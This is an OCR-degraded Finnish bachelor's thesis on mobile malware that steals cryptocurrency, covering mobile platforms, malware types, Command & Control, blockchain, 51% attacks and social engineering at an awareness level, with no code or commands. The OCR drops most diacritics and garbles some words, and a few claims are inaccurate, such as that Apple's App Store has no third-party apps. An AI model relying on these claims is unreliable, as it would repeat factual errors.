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1 Johdanto

Vuoden 2019 aikana kyberrikolliset anastivat yli $4,3 miljardin edest3
kryptovaluuttaa sen kayttajilta ja sijoittajilta, kdyttdaen monia erilaisia keinoja ja
menetelmid. Nama kehittyvat jatkuvasti ja niita vastaan kehitetdaan myos entista
enemman suojaustapoja. Myos mobiililaitteiden tietomurrot ja haittaohjelmat
lisdantyvat ja kehittyvat jatkuvasti. Tasta johtuen uuden yleistetyn tiedon
muodostaminen on hyddyllistd, jotta sitd voidaan sitten mahdollisesti hyodyntaa

tulevaisuudessa.

1.1 Toimeksiantaja

Opinnadytetyon toimeksiantajana toimi Jyvaskylan ammattikorkeakoulu ja sen
CYBERDI-hanke. Opinnadytety6 on toteutettu Jyvaskylan ammattikorkeakoulussa toi-
mivalle CYBERDI-hankkeelle. Opinndytetydn aihe-ehdotus on saatu CYBERDI-
hankkeeseen kuuluvalta henkil6lta. Tyosta saadut tulokset ja aineisto edesauttavat

hanketta.

Jyvaskylan ammattikorkeakoulu on yksi Suomen suurimmista ammattikorkeakou-
luista. Silla on yli 8500 opiskelijaa ja henkilostoa noin 700. Se koostuu eri yksikoista:
ammatillinen opettajakorkeakoulu, hyvinvointi-, liiketoiminta- seka teknologiayk-
sikko. Se keskittyy kansainvalisyyteen ja se tekee paljon yhteistyota eri yritysten

kanssa. (JAMK.fi. 2019.)

CYBERDI eli Cybercrime prevention, awareness raising and capacity building by RDI
on modern cyber attacks, on hanke, jonka tarkoitus on kehittda menetelmia kyberri-
koksien torjuntaan ja ennaltaehkaisyyn seka tutkimiseen. Hankkeella halutaan myos
lisata tietoisuutta kyberrikollisuudesta. Hankkeen kumppaneihin kuuluvat mm. Jyvas-
kyldan ammattikorkeakoulu, Poliisiammattikorkeakoulu seka liikenne- ja viestinta vi-
rasto. Hanketta rahoittaa opetus- ja kulttuuriministerio ja sen ajankohtana on

10/2018-12/2021. (CYBERDI. 2019.)



1.2 Tutkimusmenetelmat ja tavoitteet

Opinndytety0 on rakenteeltaan tutkimus, jonka tavoitteena on antaa lukijalle lisaa
tietoa aiheesta, joka on vield melko tuntematon monille ihmisille. Tutkimuksen tar-
koituksena oli kerdata mahdollisimman paljon aineistoa aiheesta ja koota sen pohjalta
yleiskuvaa, josta on hyotya toimeksiantajalle. Tutkimuksen aineistoa hankittiin 13-
hinna verkosta |6ytyvasta materiaalista mm. artikkeleista, tutkimuksista ja muista ai-

heeseen liittyvista teksteista.

Opinndytetyon tarkoituksena oli tutkia mobiililaitteisiin kohdistuvia haittaohjelmia,
joiden tavoitteena on kayttajan kryptovaluutan anastaminen. Tyossa keskitytdaan
erityisesti vaarinkayttotapauksiin, joissa olivat osallisena mobiililaitteet seka
kryptovaluutat. Tyon tavoitteena oli pohjimmiltaan siis luoda eraanlainen opas, jonka
avulla kuka tahansa voi tutustua aiheeseen ja saada tietoa siihen liittyen. Aiempaa
tutkimusta juuri tasta aiheesta ei ole kovin paljon tehty, varsinkaan sellaista, jossa
mobiililaitteet olisivat mukana, joten tasta tyosta voi saada hyvin osviittaa aiheeseen
liittyen. Sen lisaksi aihe on hyvin ajankohtainen. Tutkimuskysymyksena oli:
Minkalaisia ovat mobiililaitteisiin kohdistuvat haittaohjelmat, jotka anastavat

kryptovaluuttaa?

2 Mobiililaitteet

2.1 Yleista

Kun puhutaan mobiililaitteista, monille tulee ensimmaiseksi mieleen matkapuhelin
tai tana paivana alypuhelin, joka on yleisin mobiililaite ja se |6ytyy ldhes jokaiselta.
Uusimpiin dlypuhelimiin tulee jatkuvasti uusia ominaisuuksia ja tekniikkaa ja jossain
maarin niilla voi tehda asioita, joita ennen pystyi tehda vain tietokoneella. Monet ar-
kipdivan asiat kuten esim. laskujen maksaminen, voidaan helposti hoitaa mobiilipan-
kin kautta. Voit maksaa ostoksia kaupassa kayttaen adlypuhelinta tai uusimpana jopa

alykelloa.



Motorola toi markkinoille maailman ensimmaisen matkapuhelimen vuonna 1983 ja
siitd lahtien niiden kehitys on edennyt hurjaa vauhtia. Nykyiset dlypuhelimet ovat
kosketusnaytolla varustettuja, niissa on Internet-yhteys ja niissa on useita kameroita.
Kehityksen myota, dlypuhelinten hinnat ovat nousseet, kalleimmat mallit ovat jo yli
1000 €. Suurimpiin alypuhelinten valmistajiin lukeutuvat mm. Samsung, Apple ja

Huawei.

Muita yleisia mobiililaitteita ovat tabletit ja dlykellot. Tabletit omaavat paljon samoja
ominaisuuksia kuin dlypuhelimet, mutta ne on usein varustettu isommalla naytélla ja
tehokkaammilla osilla ja akulla. Niistd on myds saatavilla ns. 2-in-1 malleja, jotka ovat
ndppaimistolla varustettuja ja niitd voi kayttaa joko tavallisena tablettina tai perintei-
send kannettavana tietokoneena. Yksi esimerkki tasta on Microsoftin valmistama Sur-

face Pro.

2.2 Kayttojarjestelmat

Kaikissa mobiililaitteissa on oma kayttojarjestelma. Ne suunnitellaan erityisesti juuri
alypuhelimille, dlykelloille ja tableteille sekda muille mobiililaitteille. Tilastojen mukaan
vuonna 2019 noin 86 % alypuhelimista kdyttda Googlen Android kayttojarjestelmaa.
Seuraavaksi suurin (13 %) on Applen iOS kayttojarjestelma. Muiden valmistajien kayt-
tojarjestelmien osuus oli edellisind vuosina jopa 0,2 %, mutta se on kutistunut ldhes

olemattomaksi. (IDC — Smartphone Market Share, N.d.)

Android projekti alkoi nimella Android, Inc. vuonna 2005 ja kaksi vuotta myéhemmin
sen osti Google. Android kadyttojarjestelma perustuu Linuxin kerneliin (ydin). Monet
sen osista ovat avointa ldhdekoodia (open source). Useimmat laitevalmistajat kaytta-
vat Androidin ydin alustaa AOSP (Android Open Source Project), ja tekevat siitd oman
ndkoisensa. Vaikka Android kayttaa ytimena Linuxia, se ei ole virallisesti Linux-jakelu.
Koska Android on avointa lahdekoodia, monet ovat tehneet siitd kustomoituja

ROM:eja. Suosituin ndistda on CyanogenMod. (King, 2016.)
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iOS on Applen kehittama mobiilikayttojarjestelma, jota kayttavat iPhone dlypuhelin
ja iPad tabletti. Apple kdyttaad iOS:n ytimena Core 0S:aa. Toisin kuin Android, iOS ei
ole avointa lahdekoodia, joten vain Applella on kyky muokata ja kehittaa sita. Applen
sovelluskaupassa ei ole lainkaan kolmannen osapuolen sovelluksia, tehden siita tur-
vallisemman. Kaikki sovelluskauppaan lisattavat sovellukset vaativat Applen hyvak-
synnan. Ndista johtuen yleisesti ottaen iOS on paljon Androidia turvallisempi. Lisdksi
i0S kayttajien maara on paljon pienempi kuin Androidilla. (Silberschatz, Galvin &

Gagne 2014, luku 2.7.5.2.)

2.3 Mobiiliyhteydet

Mobiililaitteilla on tana paivana monia eri tiedon- ja datansiirto tekniikoita. Suurin
osa niista tapahtuu langattomasti, mutta langallisia yhteyksia tarvitaan viela tiettyihin

toimintoihin.

Mobiililaitteet kayttavat usein mobiiliverkkoja vélittaakseen dataa laitteiden valilla.
Mobiiliverkoista vanhin vield kaytossa oleva GSM (Global System for Mobile Commu-
nication) tai 2G-verkko (Second Generaliin). Sitd seurasi 3G-verkko (Third Genera-
tion), jonka avulla dataa voitiin siirtaa entista enemman ja nopeammin. Lisaksi se
mahdollisti multimedian ja internet-yhteyden mobiililaitteille. 3G-verkkoa kaytetaan
edelleen perinteisten puheluiden ja tekstiviestien valityksessa. Monet mobiililaitteet
kayttavat nykyisin LTE (Long Term Evolution) tai 4G-verkkoa (Fourth Generation),
joka on 3G-verkkoa nopeampi. Sitd tosin kdytetdan vain datansiirtoon. (Matkapuhe-

linverkon toiminta ja tukiasemat, N.d.)

Uusin mobiiliverkko tekniikka on 5G (Fifth Generation), jonka myo6té tiedonsiirtono-
peudet kasvavat jopa kymmenkertaisiksi verrattuna 4G-verkkoon. 5G mahdollistaa
monien eri loT (Internet of Things) laitteiden valisen viestinnan. 5G-verkko on kuiten-
kin vield hyvin rajallisesti saatavilla lahinna suurimpien kaupunkien keskusta-alueella.
Lisdksi 5G:lld varustetut laitteet ja liitttymat ovat vield jonkin verran arvokkaampia

verrattuna 4G:hen. (Mika on 5g ja mita se tarkoittaa suomalaiselle kadyttajalle, N.d.)
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Wi-Fi on langaton verkkoteknologia, jonka avulla mobiililaitteet kdyttavat internetia.
Sen avulla mobiililaitteet voivat siirtaa dataa eri laitteiden kesken. Internet-yhteyden
mahdollistaa langaton reititin. Wi-Fi perustuu IEEE (Institute of Electrical and Electro-
nics Engineers) 802.11 standardiin, joka maarittaa protokollat, joiden avulla laitteet
kuten reitittimet kommunikoivat langattomien laitteiden kanssa. (What is Wi-Fi?

N.d.)

IEEE 802.11 standardi julkaistiin vuonna 1997. Sen teoreettinen tiedonsiirtonopeus
oli 1-2 Mb/s. Vuonna 1999 julkaistiin 802.11a ja 802.11.b. 802.11.a kaytti 5GHz:n
taajuusaluetta 6-54 Mb/s teoreettisella tiedonsiirtonopeudella, kun taas 802.11b
kaytti 2,4GHz:n taajuusaluetta 1-11 Mb/s teoreettisella tiedonsiirtonopeudella.
Vuonna 2003 julkaistiin 802.11g, jossa yhdistyi 802.11a:n ja b:n ominaisuudet: se
toimi 2,4GHz:n taajuusalueella 54 Mb/s teoreettisella tiedonsiirtonopeudella.
Vuonna 2009 julkaistiin 802.11n, joka toimii seka 2,4GHz:n ettda 5GHz:n taajuusalu-
eella. Se tukee MIMO-tekniikkaa (multiple-input, multiple-output), jonka avulla voi-
daan kayttdaa useampaa kanavaa yhta aikaa. Yhden kanavan teoreettinen tiedonsiir-
tonopeus on 150 Mb/s ja kayttden useita kanavia se voi olla jopa 600 Mb/s. Vuonna
2014 julkaistu 802.11ac on yleisin tana paivana kaytetty standardi. Se toimii 5GHz:n
taajuusalueella ja sen teoreettinen tiedonsiirtonopeus on 1300 Mb/s. Vuoden 2019
lopulla julkaistava 802.11ax teoreettinen tiedonsiirtonopeus on jopa 10Gb/s. (Phil-

lips, 2019.)

Bluetooth on lyhyen etdisyyden langaton teknologia, jonka avulla mobiililaitteet voi-
vat siirtda dataa toisilleen. Se kehitettiin vuonna 1994 ja sen tarkoitus oli korvata da-
takaapelit, joilla tavallisesti siirrettiin dataa laitteiden valilla. Se kdyttaa samaa
2.4GHz taajuutta kuin Wi-Fi. Se luo likiverkon eli PAN:n (Personal Area Network), joka
kattaa noin 10 metrin sateen alueen, jossa 2—8 eri laitetta voi kommunikoida keske-
naan. Talla hetkelld useimmissa mobiililaitteissa kdytetaan Bluetooth versiota 4.0, to-
sin uusimmissa laitteissa on jo siirrytty versioon 5.0. Versio 4.0 julkaistiin heindkuussa
2010. Sen padominaisuus oli alhainen virrankulutus ja parantunut etdisyys. (Pinola,

M. 2019.)
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3 Haittaohjelmat

3.1 Yleista

Haittaohjelmat ovat ohjelmia, joiden tarkoitus on vahingoittaa tietokoneita tai jarjes-
telmia. Haittaohjelmat eivat voi vahingoittaa jarjestelmaa fyysisesti, mutta ne voivat
varastaa, kryptata tai poistaa kayttajan dataa seka vakoilla jarjestelman kayttoa. Paa-
saantoisesti haittaohjelmilla halutaan saada rahaa ihmisilta laittomin keinoin. Ylei-
simpia haittaohjelman tietokoneelle aiheuttamia oireita ovat mm. koneen hitaus,
ponnahdusikkuna mainokset seka selaimeen ilmestyvat lisdosat ja laajennukset.

(What is Malware? N.d.)

Virus on haittaohjelma, jonka tarkoitus on hairita jarjestelman toimintakykya. Se on
usein piilotettu jonkin internetista ladatun tiedoston koodiin ja kun tiedoston avaa tai
suorittaa, se kdynnistyy. Virukset voivat myos avata takaportteja, joiden kautta krak-

keri voi tunkeutua jarjestelmaan. (Malware — ENISA. N.d.)

Mato (eng. worm) on haittaohjelma, joka kopioituu ja levida nopeasti mille tahansa
laitteelle verkon sisassa. Mato ei tarvitse isdntdohjelmaa levitakseen. Se saastuttaa
jarjestelman ladatun tiedoston tai verkkoyhteyden avulla, jonka jalkeen se monistuu
ja leviaa erittdin nopeasti. Virusten tapaan madot voivat hairita jarjestelman suori-

tuskykya merkittavasti. (Moir, R. 2009.)

Troijalainen (eng. trojan virus/horse) on haittaohjelma, jonka tarkoitus on tunkeutua

jarjestelmaan ilman kayttajan lupaa tai tietdmysta. Taman jalkeen se voi joko tuhota

tai muokata dataa esim. tyhjentdamalla kovalevyn tai hankkia kayttajan henkilokohtai-
sia tietoja. Troijalainen on suunniteltu tuhoisaksi ja hairitsevaksi. Troijalaisia ei ole

suunniteltu monistumaan. (Moir, R. 2009.)

Vakoiluohjelma (eng. spyware), on haittaohjelma, joka vakoilee sitd, mita kayttaja te-

kee jarjestelmalld. Vakoilutapa voi olla esim. keylogging, joka seuraa ndppaimiston
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painalluksia, tallentaa ne ja taten saa haltuunsa mahdollisesti kdyttdjan henkilokoh-

taisia tietoja. (What is Spyware? N.d.)

3.2 Mobiililaitteiden yleisimmat haavoittuvuudet

Mobiililaitteiden maara maailmassa kasvaa jatkuvasti. Myos niissa kaytettavat langat-
tomat yhteydet lisdantyvat. Luonnollisesti niille kehittyy myds omat haavoittuvuu-
tensa ja heikkoutensa, joiden takia kyberrikolliset ovat entista kiinnostuneempia mo-

biililaitteista.

Vuonna 2018 ladattiin yli 205 miljardia mobiilisovellusta. Korkean riskin haavoittu-
vuuksia 16ytyi 38 % mobiilisovelluksista iOS alustalla ja 43 % Android alustalla. Useim-
mat haavoittuvuudet 16ytyivat molemmista alustoista. 76 % mobiilisovelluksista 16y-
tyi haavoittuvuuksia tiedontallennusvalineissa. Tasta johtuen kayttajan salasanat,
henkil6kohtaiset tiedot jne. ovat vaarassa. Krakkerit eivat usein edes tarvitse fyysista
paasya laitteelle, 89 % haavoittuvuuksista voidaan hyvaksi kdyttaa haittaohjelmien

avulla. (Vulnerabilities and threats in mobile applications, 2019. N.d.)

Tahaton tietojen vuoto on yksi mobiilisovellusten yleisimmista haavoittuvuuksista.
Kayttajat usein antavat sovelluksille suuren maaran lupia. Tallaiset sovellukset usein
lahettavat kayttajan henkilokohtaisia tietoja etdpalvelimelle, josta siihen paasevat ka-
siksi mainostajat ja joskus jopa kyberrikolliset. Tietojen vuotoa voi tapahtua myos yri-
tystason sovelluksiksi naamioituneiden mobiilihaittaohjelmien kautta. Ne kayttavat
i0S:n ja Androidin natiivikoodia arvokkaan tiedon siirrossa yritysverkoissa. (Top 7

Mobile Security Threats in 2020. n.d.)

Verkkohuijaus on toinen yleinen haavoittuvuus mobiililaitteilla. Hakkerit pystyttavat
vale yhteyspisteitd, jotka nayttavat Wi-Fi verkoilta, vilkkaille julkisille paikoille kuten
lentokentille. Ne ovat usein avoimia, mutta joissakin tapauksissa ne voivat vaatia

kayttdajaa luomaan “tili” verkon kayttoa varten. Hakkereiden on nédin helppo saada
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kayttdjien tietoja kasiinsa, johtuen siitd, ettad osa kayttdjista kayttad samaa sahko-
posti ja salasana yhdistelmaa useassa eri palvelussa. (Top 7 Mobile Security Threats

in 2020. n.d.)

Phishing eli tietojen kalastelu hyokkaykset ovat merkittava uhka mobiililaitteilla.
Nama tapahtuvat usein sahkoposti viestien valitykselld. Mobiililaitteilla kayttajat ovat
helpommin sahkopostin darelld, joten viestit avataan usein heti niiden saavuttua.
Mobiililaitteen nayttd on paljon pienempi kuin esim. tietokoneen eika viestit ndin ol-

len aina ndy kokonaisuudessaan. (Top 7 Mobile Security Threats in 2020. n.d.)

3.3 Command & Control

Command & Control (C2 tai C&C) on yksi vakavimmista hyokkayksista, joka voi vaa-
rantaa kokonaisen verkon. Se suoritetaan yleensa DNS:n (Domain Name System)
kautta. Hyokkaaja voi tartuttaa kohteensa monella eri tavalla: kalastelu sahkopos-
teilla, joiden linkit ohjaavat kayttdjan haitalliselle verkkosivustolle; verkkoselainten
laajennusten turvallisuus aukkojen avulla tai muita saastuneita ohjelmia kayttaen.
Onnistuneen tartunnan jalkeen saastunut tietokone saa lisdohjeita hyokkaajan C2
palvelimelta. Hyokkaaja hallitsee nyt taysin saastunutta konetta ja voi ndin ollen ajaa
haitallista koodia, jonka avulla voi saastuttaa lisda koneita, jotka muodostavat botti-

verkon. Hyokkaajat voivat saada aikaan paljon tuhoja mm.

= Yrityksen arkaluontoista dataa voidaan kopioida tai siirtda hyokkaajan palveli-
melle

= Useita koneita tai jopa koko verkko voidaan ajaa alas

= Saastuneita koneita sammutetaan ja uudelleen kdynnistetdan jatkuvasti

= Palvelimien ja verkkojen liikennetta voidaan hidastaa. Hyokkaaja pyytaa botti-
verkkoa tayttdamaan verkon pyynndilld, aiheuttaen tukoksen verkossa. (Com-

mand and Control Explained, n.d.)
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4 Kryptovaluutta

4.1 Yleista

Kryptovaluutta on internet-pohjainen vaihtovaline, joka kayttaa kryptograafisia funk-
tioita tehdakseen rahoitustapahtumia. Kryptovaluutat hyodyntavat lohkoketju tek-
niikkaa hajauttamisen, lapinakyvyyden ja muuttumattomuuden saavuttamiseksi. Loh-
koketjun hajautettu luonne tekee kryptovaluutat teoreettisesti immuuniksi hallitus-
ten vanhoille valvonta- ja sekaantumismenetelmille. Tarkein ominaisuus kryptovaluu-
toissa on se, etta niita ei hallitse mikaan keskuspalvelin tai keskitetty auktoriteetti,
vaan se rakentuu tuhansien tietokoneiden muodostamasta verkosta. Siihen voi liittya
lataamalla avoimen lahdekoodin ohjelman omalle koneelleen. (Harhakasitykset kryp-

tovaluuttojen louhinnasta. N.d.)

Tana paivana kryptovaluutat ovat maailmanlaajuinen ilmio, josta useimmat ihmiset
ovat tietoisia. Vuoden 2008 lopulla Satoshi Nakamoto kehitti Bitcoinin, maailman en-
simmaisen ja tarkeimman kryptovaluutan. Tarkein osa Satoshin keksint6a oli se, etta
han |0ysi tavan rakentaa hajautettu digitaalinen rahajarjestelma. Samaa oli yritetty jo
1990-luvulla, mutta ei onnistuneesti. Satoshi yritti rakentaa digitaalista rahajarjestel-
maa ilman keskusyksikkda kuten esim. vertaisverkko tiedostonjakoon. Taman paa-

toksen myota syntyi kryptovaluutta. (Rosic, A. 2018.)

4.2 Yleisimmat kryptovaluutat

Bitcoin on maailman ensimmainen ja tunnetuin kryptovaluutta. Bitcoin toimii stan-
dardina koko kryptovaluuttateollisuudessa, sitad kdytetdaan globaalina maksuvalineena
ja se on verkkorikollisuuden kuten pimean verkon, yleinen valuutta. Bitcoinin arvo on
kasvanut sen 12 vuoden elinaikana huimasti. Yhden Bitcoinin arvo on ollut suurimmil-
laan jopa lahes 20000 dollaria vuoden 2017 lopussa. Kirjoitushetkelld sen arvo on

noin 8500 dollaria. (Rosic, A. 2018.)
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Ethereum on Vitalik Buterinin kehittdma vuonna 2015 julkaistu lohkoketju ja maail-
man toiseksi suosituin kryptovaluutta. Ethereumin natiivi valuutta on Ether (ETH),
joka on hyvin samanlainen kuin Bitcoin. Ethereum on kuitenkin taysin ohjelmoitava,
joten kehittdjat voivat luoda erilaisia sovelluksia kuten esim. kryptovaluutta lompa-
koita tai peleja. Ethereumin yhteisé on maailman suurin lohkoketju yhteiso. Ethereu-
mia ei omista mikaan yritys tai hallinto, vaan kaikki kehitysty6 tapahtuu yhteison

avulla. (What is Ethereum? N.d.)

4.3 Lohkoketju

Lohkoketjun (eng. blockchain) lohkot koostuvat digitaalisista tiedoista ja ne sisaltavat

kolme osaa: (Reiff, F. 2020.)

1. Tietoja transaktioista kuten pdivamaaran, ajan ja summan.
2. Tietoja siitd, kuka osallistuu transaktioihin.

3. Tietoja, jotka erottavat ne muista lohkoista.

Jotta lohko voidaan lisata lohkoketjuun, on neljan asian toteuduttava:

1. Transaktion on tapahduttava.

2. Transaktio taytyy todentaa.

3. Transaktion todentamisen jalkeen se taytyy varastoida lohkoon.

4. Lohkolle on annettava hash eli hajautusarvo, joka on uniikki tunnistekoodi.

Kun nama nelja ylla mainittua asiaa toteutuu, lohko voidaan lisata lohkoketjuun. Sen

jalkeen se on julkisesti nahtavissa.

Lohkoketjun avulla kryptovaluutat voivat operoida ilman keskitettya auktoriteettia.

Se vahentaa riskia seka eliminoi useita prosessointi- ja siirtomaksuja. (Reiff, F. 2020.)
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Taulukossa 1 on esitetty lohkoketjun hyotyja seka haittoja: (Reiff, F. 2020.)

Taulukko 1. Lohkoketjun hyodyt ja haitat

Hyodyt

Parempi tarkkuus poistamalla ihmisen osallisuuden

todentamiseen

Alhaisemmat kustannukset poistamalla kolmannen

osapuolen todennukset

Hajauttaminen vaikeuttaa peukalointia

Tapahtumat ovat turvallisia, yksityisia ja tehokkaita

Hyodyt

Tarkkuus

Haitat

Louhinnan tuomat teknologi-

set kustannukset

Pienet transaktiot per sekunti

Kayttohistoria laittomassa

toiminnassa

Haavoittuvuus hakkeroinnille

Kaikki transaktiot hyvaksytdaan miljoonien tietokoneiden muodostaman verkon joh-

dosta. Nadin ollen transaktioissa esiintyy vihemman ihmisten aiheuttamia virheita.

Vaikka jokin tietokone tekisikin laskennallisen virheen, se virhe nakyisi vain yhdessa

lohkoketjun kopiossa. Jotta virhe voisi levitd muuhun lohkoketjuun, sen tulisi esiintya

yli 51 % koneista, joka on ldhes mahdotonta.
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Alhaiset kustannukset

Lohkoketjun ansiosta transaktioon ei tarvita lainkaan kolmatta osapuolta eika sen

mukana tulevia maksuja.

Hajauttaminen

Lohkoketjun tietoja ei sdilyteta missaan keskeisessa sijainnissa. Sen sijaan se kopioi-
daan ja jaetaan tietokoneiden muodostamaan verkkoon. Aina kun uusi lohko lisatdaan
lohkoketjuun, jokainen verkon tietokone paivittaa oman lohkoketjunsa, huomioidak-
seen muutoksen. Lohkoketjua on nain ollen vaikeampi vaarentaa. Jos kopio lohkoket-
justa joutuisi hakkerin kasiin, vaarantuisi vain yksi kopio. Jokaisella koneella on oma
kopionsa lohkoketjusta, jonka myo6ta siita lohkoketjusta on olemassa miljoonia ident-
tisid kopioita. Tasta johtuen sita on erittdin vaikea manipuloida, koska hakkerin tay-

tyisi manipuloida joka ikista kopiota lohkoketju verkossa.

Turvallisuus

Transaktion autenttisuus pitdaa vahvistaa lohkoketju verkossa. Taman hoitavat verkon
miljoonat tietokoneet, jotka vahvistavat, etta sen tiedot ovat oikein. Sen jalkeen se
lisataan lohkoketjuun lohkon muodossa. Jokaisella lohkolla on oma uniikki hash koo-
dinsa seka toinen hash koodi sitd edeltdvasta lohkosta. Kun lohkon tietoja muute-
taan, muuttuu sen hash koodi. Taman ristiriidan vuoksi lohkoketjun tietoja on erittdin

vaikea muuttaa huomaamatta.

Yksityisyys

Lohkoketju verkot toimivat usein julkisina tietokantoina, josta johtuen kuka tahansa
internet yhteyden omaava henkil6 voi tarkastella transaktioiden listaa. He eivat tosin
voi ndhda tietoja siita, kuka transaktiot on tehnyt. Yleinen harhaluulo on, ettd lohko-

ketju verkot ovat anonyymeja, kun oikeasti ne ovat luottamuksellisia.
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Tehokkuus

Transaktiot, jotka tehdaan jonkin keskeisen auktoriteetin avulla, voivat kestaa muu-
taman paivan ratkaista. Lohkoketjun transaktiot ratkaistaan noin kymmenessa mi-

nuutissa ja niita voidaan pitaa turvallisena jo muutaman tunnin paasta.

Lapindkyvyys

Vaikka henkilokohtaiset tiedot lohkoketjussa ovat yksityisia, sen teknologia on lahes
aina avointa lahdekoodia. Nain ollen lohkoketju verkon kayttajat voivat vapaasti
muokata sen koodia, kunhan heilla on suurin osa verkon laskennallisesta tehosta kay-
tossa. Koska lohkoketju on avointa lahdekoodia, on sen vaarinkdytté hankalaa. (Reiff,

F. 2020.)

Luottamuksellisuus

Luottamukseen liittyissa asioissa, lohkoketju verkko suorittaa erilaisia testeja tietoko-
neille, jotka haluavat siihen liittyd. Naita testeja kutsutaan “yhteisymmarrys mal-
leiksi”, jotka vaativat kayttdjia “todistamaan” itsensa ennen liittymista. Proof of Work

on Bitcoinin kdayttama esimerkki tasta.

Proof of Work:ssa tietokoneiden on todistettava, ettd ne ovat tehneet “tyon” ratkai-

semalla kompleksin laskennallisen matemaattisen ongelman. (Frankenfield, J. 2018.)

Haitat

Teknologiset kustannukset

Proof of Work jarjestelman suorittamat transaktion vahvistukset kuluttavat valtavan

maaran laskennallista tehoa. Miljoonien koneiden verkon kulutus on noin 32TWh,

joka on ldhes yhta paljon kuin mita esim. Tanska kuluttaa vuodessa. Yhden Bitcoin

transaktio kuluttaa 250 kWh. (Lee, T. 2017.)
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Nopeus

Esimerkkina Bitcoinin proof of work jarjestelmalla kestda noin kymmenen minuuttia
lisata uusi lohko lohkoketjuun. N&in ollen lohkoketju verkko pystyy suorittamaan vain

seitseman transaktioita per sekunti.

Haavoittuvuus hakkeroinnille

Uudemmat kryptovaluutat ja lohkoketju verkot ovat alttiita ”51 % hydkkayksille”.
Naita hyokkayksia on erittdin vaikea toteuttaa, koska siihen tarvitaan suuri maara las-
kentatehoa. Nykyaan hakkerit voivat tosin vuokrata sitd, eivatka heidan tall6in tar-

vitse ostaa itse fyysista rautaa. (Reiff, F. 2020.)

4.5 Lohkoketjun ongelmat

Lohkoketjun turvallisuudesta huolimatta silla on silti monia turvallisuuteen liittyvia

seikkoja, joista merkittavimmat ovat:

51 % hyokkays

51 % hyokkays tapahtuu, kun lohkoketju verkossa yksittdinen entiteetti tai organisaa-
tio saa haltuunsa enemmiston hash ratesta ja taten aiheuttaa hairion verkossa. Nain
hyokkaajalla on tarpeeksi louhinta tehoa transaktioiden jarjestyksen muokkaami-
seen. Heilld on mahdollisuus myds kumota heiddan omia transaktioitansa, josta voi ai-

heutua double-spend ilmio eli kryptovaluutta kaytetaan kahdesti.

Onnistuneella hyokkaykselld voi myos estada halutessaan kaikki transaktioiden vahvis-
tukset tai estaa louhinnan kokonaan. Hyokkaaja ei voi kumota muiden tekemia

transaktioita eikd estaa niiden luontia ja ldhetysta verkossa.
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51 % hyokkadyksen todenndkaoisyys on kuitenkin epatodennékdinen verkon koon
vuoksi. Kaikki verkon nodet tekevat yhteistyota yhteisymmarryksen saavuttamiseksi.

Taman vuoksi verkot ovat erittdin turvallisia. (What Is a 51 % Attack? N.d.)

Kayttdjan manipulointi (social engineering)

Kayttajan manipuloinnissa kdytetaan hyvaksi mm. ihmisten tunteita. Talla halutaan
useimmiten saada haltuun kayttajan avaimia, kirjautumistunnuksia tai jopa suoraan
kryptovaluuttaa. Tietojenkalastelu on yksi yleisimmista tavoista. Siina kdytetdan
usein sahkodposti viesteja, joissa kayttdjaa pyydetaan esim. paivittamaan tilinsa tie-
toja, vaatien henkilokohtaisten tietojen antamista. Viestissa olevaa linkkia painaessa
siirrytaan valesivustolle ja tarvittavien tietojen antamisen jalkeen ne ovat hakkerin

hallussa.

Scareware on melko uusi manipulointitapa. Sen tavoitteena on pelotella ja shokee-
rata kayttdjaa esim. vale virustorjuntahalytyksilla, jotka ilmoittavat ”jarjestelma on
saastunut, korjaa painamalla tastd”, jonka jalkeen siirrytdaan verkkosivustolle, joka to-

dellisuudessa saastuttaa jarjestelman.

Baiting eli houkuttelu aiheuttaa ongelmia monille tarkkaamattomille kayttdjille. Kayt-
tajia voidaan houkutella vierailemaan huijarin verkkosivustolle ilmaisten video tai
musiikki tiedostojen avulla. Jotta naihin tiedostoihin saisi kayttdoikeuden, taytyy si-
vustolle luoda kayttajatili, joka sisdltaa henkilokohtaisia tietoja. Joissain tapauksissa
jo luvatut ilmaiset tiedostot ovat saastutettu haittaohjelmilla, jotka sitten keraavat

kayttdjan tiedot heidan tietokoneeltaan. (What is Social Engineering? N.d.)

4.6 Vaihtotavat

Kryptovaluuttoja voidaan vaihtaa kahdella eri tavalla: FIAT eli eurojen, dollarien ja
muiden eri valuuttojen vaihtaminen kryptovaluutaksi seka kryptovaluuttojen valinen
vaihto esim. Bitcoinien vaihto Etheriksi. Kryptovaluuttojen vélisia vaihto tavat jakau-

tuvat kolmeen tyyppiin: CEX (Centralised exchanges), DEX (Decentralised exchanges)
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seka hybridit. CEX tunnetaan perinteisena kryptovaluutan vaihtotapana. Tata krypto-
valuutan alustaa hallinnoi keskusorganisaatio, joka tarjoaa seka kryptovaluutoiden
valista etta FIAT-kryptovaluutoiden vaihtoa. DEX toimii vaihtoehtoisena vaihtotapana
CEX:lle. Tama vaihtoalusta ei ole riippuvainen mistaan yhtiosta tai palvelusta, joka
hallitsisi asiakkaan varoja. Sen sijaan vaihdot ja siirrot hoitaa automatisoitu prosessi.
Naita vaihtoja pidetdaan peer-to-peer tyyppisina. DEX kayttda vaihdoissaan Ethereu-
min lohkoketju tekniikkaa. Hybridi vaihto on yhdistelma CEX:sta ja DEX:sta. Hyodyn-
tamalla molempien alustojen parhaita puolia, hybridi vaihto tarjoaa alhaisen latens-
sin ja nopeat siirrot. DEX:n tavoin hybridi ei tarvitse keskinaista tekijaa painostamaan

vaihdon eheytta. (Leighton, B. 2019.)

4.7 Louhinta

Kryptovaluutan louhinta on prosessi, jossa kayttajien valiset transaktiot varmenne-
taan ja lisataan lohkoketjun julkiseen lokiin. Louhinta on my6s osallisena uusien koli-
koiden lisdadmisestd olemassa olevaan maaraan. Louhintaa voi tehda aivan tavallisella
tietokoneellakin, mutta nykyaan siihen on olemassa myos juuri kryptovaluutan lou-
hintaan suunniteltuja tietokoneita, joilla se tapahtuu nopeammin riippuen koneen

tehokkuudesta. (Harhakasitykset kryptovaluuttojen louhinnasta. N.d.)

Louhijoita kutsutaan nodeiksi, jotka ovat osa verkkoa, joka kerda transaktioita ja jar-
jestda ne lohkoiksi. Transaktion tapahtuessa, verkko nodet vastaanottavat ja varmen-
tavat ne. Lohkoketjua hallitsee full node palvelin, johon mahtuu noin 200 gigatavua
dataa. Transaktion varmennuksen jadlkeen se siirtyy mempool-nimiseen paikkaan,
jossa louhijat keraavat sen ja kokoavat lohkoksi, josta se lopulta paatyy osaksi lohko-
ketjua. Lohkoon mahtuu vain tietty maara transaktioita, joten ruuhka-aikoina voi

esiintya viivastymista. (Harhakasitykset kryptovaluuttojen louhinnasta. N.d.)

